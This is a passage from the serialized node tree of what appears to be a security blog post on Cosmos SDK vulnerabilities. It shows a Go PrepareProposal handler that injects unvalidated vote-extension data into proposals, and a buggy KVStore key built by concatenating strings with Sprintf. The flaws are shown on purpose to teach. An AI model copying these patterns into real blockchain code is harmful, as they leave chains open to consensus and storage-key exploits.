}\n}\n",[84047],{"type":23,"tag":37,"props":84048,"children":84049},{"__ignoreMap":7},[84050,84104,84195,84202,84223,84290,84298,84403,84426,84445,84452,84506,84529,84584,84603,84610,84617,84624,84678,84685,84711,84734,84786,84848,84855,84882,84902,84914,84921],{"type":23,"tag":41,"props":84051,"children":84052},{"class":43,"line":44},[84053,84057,84061,84066,84070,84075,84079,84084,84088,84092,84096,84100],{"type":23,"tag":41,"props":84054,"children":84055},{"style":64},[84056],{"type":28,"value":76295},{"type":23,"tag":41,"props":84058,"children":84059},{"style":70},[84060],{"type":28,"value":142},{"type":23,"tag":41,"props":84062,"children":84063},{"style":858},[84064],{"type":28,"value":84065},"h ",{"type":23,"tag":41,"props":84067,"children":84068},{"style":170},[84069],{"type":28,"value":377},{"type":23,"tag":41,"props":84071,"children":84072},{"style":94},[84073],{"type":28,"value":84074},"Handlers",{"type":23,"tag":41,"props":84076,"children":84077},{"style":70},[84078],{"type":28,"value":866},{"type":23,"tag":41,"props":84080,"children":84081},{"style":114},[84082],{"type":28,"value":84083},"PrepareProposalHandler",{"type":23,"tag":41,"props":84085,"children":84086},{"style":70},[84087],{"type":28,"value":122},{"type":23,"tag":41,"props":84089,"children":84090},{"style":94},[84091],{"type":28,"value":78725},{"type":23,"tag":41,"props":84093,"children":84094},{"style":70},[84095],{"type":28,"value":706},{"type":23,"tag":41,"props":84097,"children":84098},{"style":94},[84099],{"type":28,"value":84083},{"type":23,"tag":41,"props":84101,"children":84102},{"style":70},[84103],{"type":28,"value":102},{"type":23,"tag":41,"props":84105,"children":84106},{"class":43,"line":54},[84107,84111,84115,84119,84123,84127,84131,84135,84139,84144,84148,84153,84157,84162,84166,84170,84174,84178,84183,84187,84191],{"type":23,"tag":41,"props":84108,"children":84109},{"style":58},[84110],{"type":28,"value":1090},{"type":23,"tag":41,"props":84112,"children":84113},{"style":64},[84114],{"type":28,"value":80004},{"type":23,"tag":41,"props":84116,"children":84117},{"style":70},[84118],{"type":28,"value":1737},{"type":23,"tag":41,"props":84120,"children":84121},{"style":858},[84122],{"type":28,"value":20269},{"type":23,"tag":41,"props":84124,"children":84125},{"style":94},[84126],{"type":28,"value":78636},{"type":23,"tag":41,"props":84128,"children":84129},{"style":70},[84130],{"type":28,"value":706},{"type":23,"tag":41,"props":84132,"children":84133},{"style":94},[84134],{"type":28,"value":76344},{"type":23,"tag":41,"props":84136,"children":84137},{"style":70},[84138],{"type":28,"value":970},{"type":23,"tag":41,"props":84140,"children":84141},{"style":858},[84142],{"type":28,"value":84143},"req",{"type":23,"tag":41,"props":84145,"children":84146},{"style":170},[84147],{"type":28,"value":9814},{"type":23,"tag":41,"props":84149,"children":84150},{"style":94},[84151],{"type":28,"value":84152},"abcitypes",{"type":23,"tag":41,"props":84154,"children":84155},{"style":70},[84156],{"type":28,"value":706},{"type":23,"tag":41,"props":84158,"children":84159},{"style":94},[84160],{"type":28,"value":84161},"RequestPrepareProposal",{"type":23,"tag":41,"props":84163,"children":84164},{"style":70},[84165],{"type":28,"value":76377},{"type":23,"tag":41,"props":84167,"children":84168},{"style":170},[84169],{"type":28,"value":377},{"type":23,"tag":41,"props":84171,"children":84172},{"style":94},[84173],{"type":28,"value":84152},{"type":23,"tag":41,"props":84175,"children":84176},{"style":70},[84177],{"type":28,"value":706},{"type":23,"tag":41,"props":84179,"children":84180},{"style":94},[84181],{"type":28,"value":84182},"ResponsePrepareProposal",{"type":23,"tag":41,"props":84184,"children":84185},{"style":70},[84186],{"type":28,"value":970},{"type":23,"tag":41,"props":84188,"children":84189},{"style":94},[84190],{"type":28,"value":14855},{"type":23,"tag":41,"props":84192,"children":84193},{"style":70},[84194],{"type":28,"value":152},{"type":23,"tag":41,"props":84196,"children":84197},{"class":43,"line":76},[84198],{"type":23,"tag":41,"props":84199,"children":84200},{"style":170},[84201],{"type":28,"value":2523},{"type":23,"tag":41,"props":84203,"children":84204},{"class":43,"line":85},[84205,84209,84214,84218],{"type":23,"tag":41,"props":84206,"children":84207},{"style":64},[84208],{"type":28,"value":80113},{"type":23,"tag":41,"props":84210,"children":84211},{"style":858},[84212],{"type":28,"value":84213}," injection",{"type":23,"tag":41,"props":84215,"children":84216},{"style":70},[84217],{"type":28,"value":76222},{"type":23,"tag":41,"props":84219,"children":84220},{"style":94},[84221],{"type":28,"value":84222},"byte\n",{"type":23,"tag":41,"props":84224,"children":84225},{"class":43,"line":105},[84226,84230,84235,84239,84243,84247,84251,84255,84259,84263,84268,84272,84277,84281,84286],{"type":23,"tag":41,"props":84227,"children":84228},{"style":58},[84229],{"type":28,"value":3272},{"type":23,"tag":41,"props":84231,"children":84232},{"style":858},[84233],{"type":28,"value":84234}," req",{"type":23,"tag":41,"props":84236,"children":84237},{"style":70},[84238],{"type":28,"value":706},{"type":23,"tag":41,"props":84240,"children":84241},{"style":858},[84242],{"type":28,"value":83473},{"type":23,"tag":41,"props":84244,"children":84245},{"style":170},[84246],{"type":28,"value":14186},{"type":23,"tag":41,"props":84248,"children":84249},{"style":858},[84250],{"type":28,"value":25842},{"type":23,"tag":41,"props":84252,"children":84253},{"style":70},[84254],{"type":28,"value":706},{"type":23,"tag":41,"props":84256,"children":84257},{"style":114},[84258],{"type":28,"value":83674},{"type":23,"tag":41,"props":84260,"children":84261},{"style":70},[84262],{"type":28,"value":2463},{"type":23,"tag":41,"props":84264,"children":84265},{"style":858},[84266],{"type":28,"value":84267},"Abci",{"type":23,"tag":41,"props":84269,"children":84270},{"style":70},[84271],{"type":28,"value":706},{"type":23,"tag":41,"props":84273,"children":84274},{"style":858},[84275],{"type":28,"value":84276},"VoteExtensionsEnableHeight",{"type":23,"tag":41,"props":84278,"children":84279},{"style":170},[84280],{"type":28,"value":2472},{"type":23,"tag":41,"props":84282,"children":84283},{"style":858},[84284],{"type":28,"value":84285}," collectSigs",{"type":23,"tag":41,"props":84287,"children":84288},{"style":70},[84289],{"type":28,"value":102},{"type":23,"tag":41,"props":84291,"children":84292},{"class":43,"line":155},[84293],{"type":23,"tag":41,"props":84294,"children":84295},{"style":48},[84296],{"type":28,"value":84297},"            //Fails to verify vote extensions with VerifyVoteExtension rules\n",{"type":23,"tag":41,"props":84299,"children":84300},{"class":43,"line":186},[84301,84305,84309,84314,84318,84323,84327,84331,84335,84340,84344,84349,84353,84357,84361,84365,84369,84373,84377,84382,84386,84390,84394,84399],{"type":23,"tag":41,"props":84302,"children":84303},{"style":858},[84304],{"type":28,"value":82330},{"type":23,"tag":41,"props":84306,"children":84307},{"style":170},[84308],{"type":28,"value":76411},{"type":23,"tag":41,"props":84310,"children":84311},{"style":858},[84312],{"type":28,"value":84313}," baseapp",{"type":23,"tag":41,"props":84315,"children":84316},{"style":70},[84317],{"type":28,"value":706},{"type":23,"tag":41,"props":84319,"children":84320},{"style":114},[84321],{"type":28,"value":84322},"ValidateVoteExtensions",{"type":23,"tag":41,"props":84324,"children":84325},{"style":70},[84326],{"type":28,"value":1737},{"type":23,"tag":41,"props":84328,"children":84329},{"style":858},[84330],{"type":28,"value":20269},{"type":23,"tag":41,"props":84332,"children":84333},{"style":70},[84334],{"type":28,"value":970},{"type":23,"tag":41,"props":84336,"children":84337},{"style":858},[84338],{"type":28,"value":84339},"h",{"type":23,"tag":41,"props":84341,"children":84342},{"style":70},[84343],{"type":28,"value":706},{"type":23,"tag":41,"props":84345,"children":84346},{"style":858},[84347],{"type":28,"value":84348},"stakingKeeper",{"type":23,"tag":41,"props":84350,"children":84351},{"style":70},[84352],{"type":28,"value":970},{"type":23,"tag":41,"props":84354,"children":84355},{"style":858},[84356],{"type":28,"value":84143},{"type":23,"tag":41,"props":84358,"children":84359},{"style":70},[84360],{"type":28,"value":706},{"type":23,"tag":41,"props":84362,"children":84363},{"style":858},[84364],{"type":28,"value":83473},{"type":23,"tag":41,"props":84366,"children":84367},{"style":70},[84368],{"type":28,"value":970},{"type":23,"tag":41,"props":84370,"children":84371},{"style":858},[84372],{"type":28,"value":20269},{"type":23,"tag":41,"props":84374,"children":84375},{"style":70},[84376],{"type":28,"value":706},{"type":23,"tag":41,"props":84378,"children":84379},{"style":114},[84380],{"type":28,"value":84381},"ChainID",{"type":23,"tag":41,"props":84383,"children":84384},{"style":70},[84385],{"type":28,"value":18363},{"type":23,"tag":41,"props":84387,"children":84388},{"style":858},[84389],{"type":28,"value":84143},{"type":23,"tag":41,"props":84391,"children":84392},{"style":70},[84393],{"type":28,"value":706},{"type":23,"tag":41,"props":84395,"children":84396},{"style":858},[84397],{"type":28,"value":84398},"LocalLastCommit",{"type":23,"tag":41,"props":84400,"children":84401},{"style":70},[84402],{"type":28,"value":1969},{"type":23,"tag":41,"props":84404,"children":84405},{"class":43,"line":195},[84406,84410,84414,84418,84422],{"type":23,"tag":41,"props":84407,"children":84408},{"style":58},[84409],{"type":28,"value":58797},{"type":23,"tag":41,"props":84411,"children":84412},{"style":858},[84413],{"type":28,"value":48515},{"type":23,"tag":41,"props":84415,"children":84416},{"style":170},[84417],{"type":28,"value":64382},{"type":23,"tag":41,"props":84419,"children":84420},{"style":64},[84421],{"type":28,"value":81912},{"type":23,"tag":41,"props":84423,"children":84424},{"style":70},[84425],{"type":28,"value":102},{"type":23,"tag":41,"props":84427,"children":84428},{"class":43,"line":905},[84429,84433,84437,84441],{"type":23,"tag":41,"props":84430,"children":84431},{"style":58},[84432],{"type":28,"value":60725},{"type":23,"tag":41,"props":84434,"children":84435},{"style":64},[84436],{"type":28,"value":81912},{"type":23,"tag":41,"props":84438,"children":84439},{"style":70},[84440],{"type":28,"value":970},{"type":23,"tag":41,"props":84442,"children":84443},{"style":858},[84444],{"type":28,"value":83633},{"type":23,"tag":41,"props":84446,"children":84447},{"class":43,"line":922},[84448],{"type":23,"tag":41,"props":84449,"children":84450},{"style":70},[84451],{"type":28,"value":58881},{"type":23,"tag":41,"props":84453,"children":84454},{"class":43,"line":930},[84455,84460,84464,84468,84472,84477,84481,84486,84490,84494,84498,84502],{"type":23,"tag":41,"props":84456,"children":84457},{"style":858},[84458],{"type":28,"value":84459},"            injection",{"type":23,"tag":41,"props":84461,"children":84462},{"style":70},[84463],{"type":28,"value":970},{"type":23,"tag":41,"props":84465,"children":84466},{"style":858},[84467],{"type":28,"value":48414},{"type":23,"tag":41,"props":84469,"children":84470},{"style":170},[84471],{"type":28,"value":3017},{"type":23,"tag":41,"props":84473,"children":84474},{"style":858},[84475],{"type":28,"value":84476}," json",{"type":23,"tag":41,"props":84478,"children":84479},{"style":70},[84480],{"type":28,"value":706},{"type":23,"tag":41,"props":84482,"children":84483},{"style":114},[84484],{"type":28,"value":84485},"Marshal",{"type":23,"tag":41,"props":84487,"children":84488},{"style":70},[84489],{"type":28,"value":1737},{"type":23,"tag":41,"props":84491,"children":84492},{"style":858},[84493],{"type":28,"value":84143},{"type":23,"tag":41,"props":84495,"children":84496},{"style":70},[84497],{"type":28,"value":706},{"type":23,"tag":41,"props":84499,"children":84500},{"style":858},[84501],{"type":28,"value":84398},{"type":23,"tag":41,"props":84503,"children":84504},{"style":70},[84505],{"type":28,"value":1969},{"type":23,"tag":41,"props":84507,"children":84508},{"class":43,"line":939},[84509,84513,84517,84521,84525],{"type":23,"tag":41,"props":84510,"children":84511},{"style":58},[84512],{"type":28,"value":58797},{"type":23,"tag":41,"props":84514,"children":84515},{"style":858},[84516],{"type":28,"value":48515},{"type":23,"tag":41,"props":84518,"children":84519},{"style":170},[84520],{"type":28,"value":64382},{"type":23,"tag":41,"props":84522,"children":84523},{"style":64},[84524],{"type":28,"value":81912},{"type":23,"tag":41,"props":84526,"children":84527},{"style":70},[84528],{"type":28,"value":102},{"type":23,"tag":41,"props":84530,"children":84531},{"class":43,"line":947},[84532,84537,84541,84546,84550,84554,84558,84563,84567,84572,84576,84580],{"type":23,"tag":41,"props":84533,"children":84534},{"style":858},[84535],{"type":28,"value":84536},"                h",{"type":23,"tag":41,"props":84538,"children":84539},{"style":70},[84540],{"type":28,"value":706},{"type":23,"tag":41,"props":84542,"children":84543},{"style":858},[84544],{"type":28,"value":84545},"logger",{"type":23,"tag":41,"props":84547,"children":84548},{"style":70},[84549],{"type":28,"value":706},{"type":23,"tag":41,"props":84551,"children":84552},{"style":114},[84553],{"type":28,"value":37393},{"type":23,"tag":41,"props":84555,"children":84556},{"style":70},[84557],{"type":28,"value":1737},{"type":23,"tag":41,"props":84559,"children":84560},{"style":735},[84561],{"type":28,"value":84562},"\"failed to marshal extended votes\"",{"type":23,"tag":41,"props":84564,"children":84565},{"style":70},[84566],{"type":28,"value":970},{"type":23,"tag":41,"props":84568,"children":84569},{"style":735},[84570],{"type":28,"value":84571},"\"err\"",{"type":23,"tag":41,"props":84573,"children":84574},{"style":70},[84575],{"type":28,"value":970},{"type":23,"tag":41,"props":84577,"children":84578},{"style":858},[84579],{"type":28,"value":48414},{"type":23,"tag":41,"props":84581,"children":84582},{"style":70},[84583],{"type":28,"value":1969},{"type":23,"tag":41,"props":84585,"children":84586},{"class":43,"line":985},[84587,84591,84595,84599],{"type":23,"tag":41,"props":84588,"children":84589},{"style":58},[84590],{"type":28,"value":60725},{"type":23,"tag":41,"props":84592,"children":84593},{"style":64},[84594],{"type":28,"value":81912},{"type":23,"tag":41,"props":84596,"children":84597},{"style":70},[84598],{"type":28,"value":970},{"type":23,"tag":41,"props":84600,"children":84601},{"style":858},[84602],{"type":28,"value":83633},{"type":23,"tag":41,"props":84604,"children":84605},{"class":43,"line":1058},[84606],{"type":23,"tag":41,"props":84607,"children":84608},{"style":70},[84609],{"type":28,"value":58881},{"type":23,"tag":41,"props":84611,"children":84612},{"class":43,"line":1084},[84613],{"type":23,"tag":41,"props":84614,"children":84615},{"style":170},[84616],{"type":28,"value":82512},{"type":23,"tag":41,"props":84618,"children":84619},{"class":43,"line":1102},[84620],{"type":23,"tag":41,"props":84621,"children":84622},{"style":70},[84623],{"type":28,"value":3347},{"type":23,"tag":41,"props":84625,"children":84626},{"class":43,"line":1110},[84627,84632,84636,84640,84644,84649,84653,84658,84662,84666,84670,84674],{"type":23,"tag":41,"props":84628,"children":84629},{"style":858},[84630],{"type":28,"value":84631},"        defaultRes",{"type":23,"tag":41,"props":84633,"children":84634},{"style":70},[84635],{"type":28,"value":970},{"type":23,"tag":41,"props":84637,"children":84638},{"style":858},[84639],{"type":28,"value":48414},{"type":23,"tag":41,"props":84641,"children":84642},{"style":170},[84643],{"type":28,"value":76411},{"type":23,"tag":41,"props":84645,"children":84646},{"style":858},[84647],{"type":28,"value":84648}," h",{"type":23,"tag":41,"props":84650,"children":84651},{"style":70},[84652],{"type":28,"value":706},{"type":23,"tag":41,"props":84654,"children":84655},{"style":114},[84656],{"type":28,"value":84657},"defaultPrepareProposal",{"type":23,"tag":41,"props":84659,"children":84660},{"style":70},[84661],{"type":28,"value":1737},{"type":23,"tag":41,"props":84663,"children":84664},{"style":858},[84665],{"type":28,"value":20269},{"type":23,"tag":41,"props":84667,"children":84668},{"style":70},[84669],{"type":28,"value":970},{"type":23,"tag":41,"props":84671,"children":84672},{"style":858},[84673],{"type":28,"value":84143},{"type":23,"tag":41,"props":84675,"children":84676},{"style":70},[84677],{"type":28,"value":1969},{"type":23,"tag":41,"props":84679,"children":84680},{"class":43,"line":1118},[84681],{"type":23,"tag":41,"props":84682,"children":84683},{"style":170},[84684],{"type":28,"value":2523},{"type":23,"tag":41,"props":84686,"children":84687},{"class":43,"line":1137},[84688,84693,84697,84702,84706],{"type":23,"tag":41,"props":84689,"children":84690},{"style":858},[84691],{"type":28,"value":84692},"        proposalTxs",{"type":23,"tag":41,"props":84694,"children":84695},{"style":170},[84696],{"type":28,"value":76411},{"type":23,"tag":41,"props":84698,"children":84699},{"style":858},[84700],{"type":28,"value":84701}," defaultRes",{"type":23,"tag":41,"props":84703,"children":84704},{"style":70},[84705],{"type":28,"value":706},{"type":23,"tag":41,"props":84707,"children":84708},{"style":858},[84709],{"type":28,"value":84710},"Txs\n",{"type":23,"tag":41,"props":84712,"children":84713},{"class":43,"line":1163},[84714,84718,84722,84726,84730],{"type":23,"tag":41,"props":84715,"children":84716},{"style":58},[84717],{"type":28,"value":3272},{"type":23,"tag":41,"props":84719,"children":84720},{"style":858},[84721],{"type":28,"value":84213},{"type":23,"tag":41,"props":84723,"children":84724},{"style":170},[84725],{"type":28,"value":64382},{"type":23,"tag":41,"props":84727,"children":84728},{"style":64},[84729],{"type":28,"value":81912},{"type":23,"tag":41,"props":84731,"children":84732},{"style":70},[84733],{"type":28,"value":102},{"type":23,"tag":41,"props":84735,"children":84736},{"class":43,"line":1188},[84737,84742,84746,84750,84755,84760,84764,84769,84773,84778,84782],{"type":23,"tag":41,"props":84738,"children":84739},{"style":858},[84740],{"type":28,"value":84741},"            proposalTxs",{"type":23,"tag":41,"props":84743,"children":84744},{"style":170},[84745],{"type":28,"value":3017},{"type":23,"tag":41,"props":84747,"children":84748},{"style":114},[84749],{"type":28,"value":77691},{"type":23,"tag":41,"props":84751,"children":84752},{"style":70},[84753],{"type":28,"value":84754},"([][]",{"type":23,"tag":41,"props":84756,"children":84757},{"style":94},[84758],{"type":28,"value":84759},"byte",{"type":23,"tag":41,"props":84761,"children":84762},{"style":70},[84763],{"type":28,"value":76613},{"type":23,"tag":41,"props":84765,"children":84766},{"style":858},[84767],{"type":28,"value":84768},"injection",{"type":23,"tag":41,"props":84770,"children":84771},{"style":70},[84772],{"type":28,"value":76632},{"type":23,"tag":41,"props":84774,"children":84775},{"style":858},[84776],{"type":28,"value":84777},"proposalTxs",{"type":23,"tag":41,"props":84779,"children":84780},{"style":170},[84781],{"type":28,"value":9589},{"type":23,"tag":41,"props":84783,"children":84784},{"style":70},[84785],{"type":28,"value":1969},{"type":23,"tag":41,"props":84787,"children":84788},{"class":43,"line":1979},[84789,84794,84798,84802,84806,84810,84814,84819,84823,84828,84832,84836,84840,84844],{"type":23,"tag":41,"props":84790,"children":84791},{"style":858},[84792],{"type":28,"value":84793},"            h",{"type":23,"tag":41,"props":84795,"children":84796},{"style":70},[84797],{"type":28,"value":706},{"type":23,"tag":41,"props":84799,"children":84800},{"style":858},[84801],{"type":28,"value":84545},{"type":23,"tag":41,"props":84803,"children":84804},{"style":70},[84805],{"type":28,"value":706},{"type":23,"tag":41,"props":84807,"children":84808},{"style":114},[84809],{"type":28,"value":24709},{"type":23,"tag":41,"props":84811,"children":84812},{"style":70},[84813],{"type":28,"value":1737},{"type":23,"tag":41,"props":84815,"children":84816},{"style":735},[84817],{"type":28,"value":84818},"\"injected local last commit\"",{"type":23,"tag":41,"props":84820,"children":84821},{"style":70},[84822],{"type":28,"value":970},{"type":23,"tag":41,"props":84824,"children":84825},{"style":735},[84826],{"type":28,"value":84827},"\"height\"",{"type":23,"tag":41,"props":84829,"children":84830},{"style":70},[84831],{"type":28,"value":970},{"type":23,"tag":41,"props":84833,"children":84834},{"style":858},[84835],{"type":28,"value":84143},{"type":23,"tag":41,"props":84837,"children":84838},{"style":70},[84839],{"type":28,"value":706},{"type":23,"tag":41,"props":84841,"children":84842},{"style":858},[84843],{"type":28,"value":83473},{"type":23,"tag":41,"props":84845,"children":84846},{"style":70},[84847],{"type":28,"value":1969},{"type":23,"tag":41,"props":84849,"children":84850},{"class":43,"line":2002},[84851],{"type":23,"tag":41,"props":84852,"children":84853},{"style":70},[84854],{"type":28,"value":3347},{"type":23,"tag":41,"props":84856,"children":84857},{"class":43,"line":3835},[84858,84862,84866,84870,84874,84878],{"type":23,"tag":41,"props":84859,"children":84860},{"style":58},[84861],{"type":28,"value":161},{"type":23,"tag":41,"props":84863,"children":84864},{"style":170},[84865],{"type":28,"value":7140},{"type":23,"tag":41,"props":84867,"children":84868},{"style":94},[84869],{"type":28,"value":84152},{"type":23,"tag":41,"props":84871,"children":84872},{"style":70},[84873],{"type":28,"value":706},{"type":23,"tag":41,"props":84875,"children":84876},{"style":94},[84877],{"type":28,"value":84182},{"type":23,"tag":41,"props":84879,"children":84880},{"style":70},[84881],{"type":28,"value":1559},{"type":23,"tag":41,"props":84883,"children":84884},{"class":43,"line":3895},[84885,84890,84894,84898],{"type":23,"tag":41,"props":84886,"children":84887},{"style":858},[84888],{"type":28,"value":84889},"            Txs",{"type":23,"tag":41,"props":84891,"children":84892},{"style":70},[84893],{"type":28,"value":1418},{"type":23,"tag":41,"props":84895,"children":84896},{"style":858},[84897],{"type":28,"value":84777},{"type":23,"tag":41,"props":84899,"children":84900},{"style":70},[84901],{"type":28,"value":3506},{"type":23,"tag":41,"props":84903,"children":84904},{"class":43,"line":9044},[84905,84910],{"type":23,"tag":41,"props":84906,"children":84907},{"style":70},[84908],{"type":28,"value":84909},"        }, ",{"type":23,"tag":41,"props":84911,"children":84912},{"style":64},[84913],{"type":28,"value":76637},{"type":23,"tag":41,"props":84915,"children":84916},{"class":43,"line":9061},[84917],{"type":23,"tag":41,"props":84918,"children":84919},{"style":70},[84920],{"type":28,"value":192},{"type":23,"tag":41,"props":84922,"children":84923},{"class":43,"line":9106},[84924],{"type":23,"tag":41,"props":84925,"children":84926},{"style":70},[84927],{"type":28,"value":201},{"type":23,"tag":24,"props":84929,"children":84930},{},[84931,84933,84938,84939,84944,84946,84953],{"type":28,"value":84932},"Aside from the more complex variant, pure validation mismatches are also still prevalent despite being a well-known attack surface. This stems from ",{"type":23,"tag":37,"props":84934,"children":84936},{"className":84935},[],[84937],{"type":28,"value":83302},{"type":28,"value":142},{"type":23,"tag":37,"props":84940,"children":84942},{"className":84941},[],[84943],{"type":28,"value":83370},{"type":28,"value":84945},") rejections by various obscure checks hidden within CometBTF. For example, this commit fixes a bug where ",{"type":23,"tag":458,"props":84947,"children":84950},{"href":84948,"rel":84949},"https://github.com/babylonlabs-io/babylon/commit/aa827f875a16ebf85efee5d9a6c8c4e76dbfb7bd#diff-77659089b31367690393a968f4bfacfd1bf960ed300965729df216a6fb612699",[462],[84951],{"type":28,"value":84952},"PrepareProposal may return a Proposal larger than MaxTxBytes",{"type":28,"value":84954},", which will later get rejected by CometBTF.",{"type":23,"tag":446,"props":84956,"children":84958},{"id":84957},"the-keymaker",[84959],{"type":28,"value":84960},"The Keymaker",{"type":23,"tag":24,"props":84962,"children":84963},{},[84964,84966,84972,84974,84979],{"type":28,"value":84965},"States (persistent storage) are another crucial component in state machines. Cosmos relies on a custom key-value storage called",{"type":23,"tag":37,"props":84967,"children":84969},{"className":84968},[],[84970],{"type":28,"value":84971},"KVStore",{"type":28,"value":84973}," to handle states efficently. In ",{"type":23,"tag":37,"props":84975,"children":84977},{"className":84976},[],[84978],{"type":28,"value":84971},{"type":28,"value":84980},", keys and values are both represented as simple byte slices, requiring developers to handle serialization and deserialization of more intricate structures when working with storage.",{"type":23,"tag":24,"props":84982,"children":84983},{},[84984],{"type":28,"value":84985},"The complexity behind proper data serialization often results in flawed code and security vulnerabilities. Below, we showcase relatively simple (but buggy) implementations and progressively address and mitigate the issues until the code is deemed safe from exploits.",{"type":23,"tag":24,"props":84987,"children":84988},{},[84989,84991,84997],{"type":28,"value":84990},"Let's start by considering a scenario where we need to store the ",{"type":23,"tag":37,"props":84992,"children":84994},{"className":84993},[],[84995],{"type":28,"value":84996},"positionMap",{"type":28,"value":84998}," structure mentioned below into storage.",{"type":23,"tag":31,"props":85000,"children":85002},{"code":85001,"language":76159,"meta":7,"className":76160,"style":7},"type VaultId uint64\ntype Username string\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n",[85003],{"type":23,"tag":37,"props":85004,"children":85005},{"__ignoreMap":7},[85006,85022,85039,85055,85074,85089,85096,85113],{"type":23,"tag":41,"props":85007,"children":85008},{"class":43,"line":44},[85009,85013,85018],{"type":23,"tag":41,"props":85010,"children":85011},{"style":64},[85012],{"type":28,"value":1669},{"type":23,"tag":41,"props":85014,"children":85015},{"style":94},[85016],{"type":28,"value":85017}," VaultId",{"type":23,"tag":41,"props":85019,"children":85020},{"style":94},[85021],{"type":28,"value":76197},{"type":23,"tag":41,"props":85023,"children":85024},{"class":43,"line":54},[85025,85029,85034],{"type":23,"tag":41,"props":85026,"children":85027},{"style":64},[85028],{"type":28,"value":1669},{"type":23,"tag":41,"props":85030,"children":85031},{"style":94},[85032],{"type":28,"value":85033}," Username",{"type":23,"tag":41,"props":85035,"children":85036},{"style":94},[85037],{"type":28,"value":85038}," string\n",{"type":23,"tag":41,"props":85040,"children":85041},{"class":43,"line":76},[85042,85046,85051],{"type":23,"tag":41,"props":85043,"children":85044},{"style":64},[85045],{"type":28,"value":1669},{"type":23,"tag":41,"props":85047,"children":85048},{"style":94},[85049],{"type":28,"value":85050}," PositionName",{"type":23,"tag":41,"props":85052,"children":85053},{"style":94},[85054],{"type":28,"value":85038},{"type":23,"tag":41,"props":85056,"children":85057},{"class":43,"line":85},[85058,85062,85066,85070],{"type":23,"tag":41,"props":85059,"children":85060},{"style":64},[85061],{"type":28,"value":1669},{"type":23,"tag":41,"props":85063,"children":85064},{"style":94},[85065],{"type":28,"value":7424},{"type":23,"tag":41,"props":85067,"children":85068},{"style":64},[85069],{"type":28,"value":21138},{"type":23,"tag":41,"props":85071,"children":85072},{"style":70},[85073],{"type":28,"value":102},{"type":23,"tag":41,"props":85075,"children":85076},{"class":43,"line":105},[85077,85081,85085],{"type":23,"tag":41,"props":85078,"children":85079},{"style":858},[85080],{"type":28,"value":43223},{"type":23,"tag":41,"props":85082,"children":85083},{"style":70},[85084],{"type":28,"value":76222},{"type":23,"tag":41,"props":85086,"children":85087},{"style":94},[85088],{"type":28,"value":84222},{"type":23,"tag":41,"props":85090,"children":85091},{"class":43,"line":155},[85092],{"type":23,"tag":41,"props":85093,"children":85094},{"style":70},[85095],{"type":28,"value":201},{"type":23,"tag":41,"props":85097,"children":85098},{"class":43,"line":186},[85099,85103,85108],{"type":23,"tag":41,"props":85100,"children":85101},{"style":64},[85102],{"type":28,"value":1669},{"type":23,"tag":41,"props":85104,"children":85105},{"style":94},[85106],{"type":28,"value":85107}," PositionMap",{"type":23,"tag":41,"props":85109,"children":85110},{"style":170},[85111],{"type":28,"value":85112}," :=\n",{"type":23,"tag":41,"props":85114,"children":85115},{"class":43,"line":195},[85116,85121,85125,85130,85134,85138,85142,85147,85151,85155,85159,85164,85168],{"type":23,"tag":41,"props":85117,"children":85118},{"style":64},[85119],{"type":28,"value":85120},"    map",{"type":23,"tag":41,"props":85122,"children":85123},{"style":70},[85124],{"type":28,"value":312},{"type":23,"tag":41,"props":85126,"children":85127},{"style":94},[85128],{"type":28,"value":85129},"VaultId",{"type":23,"tag":41,"props":85131,"children":85132},{"style":70},[85133],{"type":28,"value":15402},{"type":23,"tag":41,"props":85135,"children":85136},{"style":64},[85137],{"type":28,"value":67097},{"type":23,"tag":41,"props":85139,"children":85140},{"style":70},[85141],{"type":28,"value":312},{"type":23,"tag":41,"props":85143,"children":85144},{"style":94},[85145],{"type":28,"value":85146},"Username",{"type":23,"tag":41,"props":85148,"children":85149},{"style":70},[85150],{"type":28,"value":15402},{"type":23,"tag":41,"props":85152,"children":85153},{"style":64},[85154],{"type":28,"value":67097},{"type":23,"tag":41,"props":85156,"children":85157},{"style":70},[85158],{"type":28,"value":312},{"type":23,"tag":41,"props":85160,"children":85161},{"style":94},[85162],{"type":28,"value":85163},"PositionName",{"type":23,"tag":41,"props":85165,"children":85166},{"style":70},[85167],{"type":28,"value":15402},{"type":23,"tag":41,"props":85169,"children":85170},{"style":94},[85171],{"type":28,"value":85172},"Position\n",{"type":23,"tag":24,"props":85174,"children":85175},{},[85176,85178,85184],{"type":28,"value":85177},"Given that there are two levels of keys in ",{"type":23,"tag":37,"props":85179,"children":85181},{"className":85180},[],[85182],{"type":28,"value":85183},"PositionMap",{"type":28,"value":85185},", we should try to serialize these three map keys into a hierarchically searchable storage key. The most straightforward mitigation is to convert all fields into strings and concat them together.",{"type":23,"tag":31,"props":85187,"children":85189},{"code":85188,"language":76159,"meta":7,"className":76160,"style":7},"storageKey := fmt.Sprintf(\n    \"%d%s%s\",\n    vaultId,\n    username,\n    positionName,\n)\n",[85190],{"type":23,"tag":37,"props":85191,"children":85192},{"__ignoreMap":7},[85193,85222,85234,85246,85258,85270],{"type":23,"tag":41,"props":85194,"children":85195},{"class":43,"line":44},[85196,85201,85205,85209,85213,85218],{"type":23,"tag":41,"props":85197,"children":85198},{"style":858},[85199],{"type":28,"value":85200},"storageKey",{"type":23,"tag":41,"props":85202,"children":85203},{"style":170},[85204],{"type":28,"value":76411},{"type":23,"tag":41,"props":85206,"children":85207},{"style":858},[85208],{"type":28,"value":82228},{"type":23,"tag":41,"props":85210,"children":85211},{"style":70},[85212],{"type":28,"value":706},{"type":23,"tag":41,"props":85214,"children":85215},{"style":114},[85216],{"type":28,"value":85217},"Sprintf",{"type":23,"tag":41,"props":85219,"children":85220},{"style":70},[85221],{"type":28,"value":3461},{"type":23,"tag":41,"props":85223,"children":85224},{"class":43,"line":54},[85225,85230],{"type":23,"tag":41,"props":85226,"children":85227},{"style":735},[85228],{"type":28,"value":85229},"    \"%d%s%s\"",{"type":23,"tag":41,"props":85231,"children":85232},{"style":70},[85233],{"type":28,"value":3506},{"type":23,"tag":41,"props":85235,"children":85236},{"class":43,"line":76},[85237,85242],{"type":23,"tag":41,"props":85238,"children":85239},{"style":858},[85240],{"type":28,"value":85241},"    vaultId",{"type":23,"tag":41,"props":85243,"children":85244},{"style":70},[85245],{"type":28,"value":3506},{"type":23,"tag":41,"props":85247,"children":85248},{"class":43,"line":85},[85249,85254],{"type":23,"tag":41,"props":85250,"children":85251},{"style":858},[85252],{"type":28,"value":85253},"    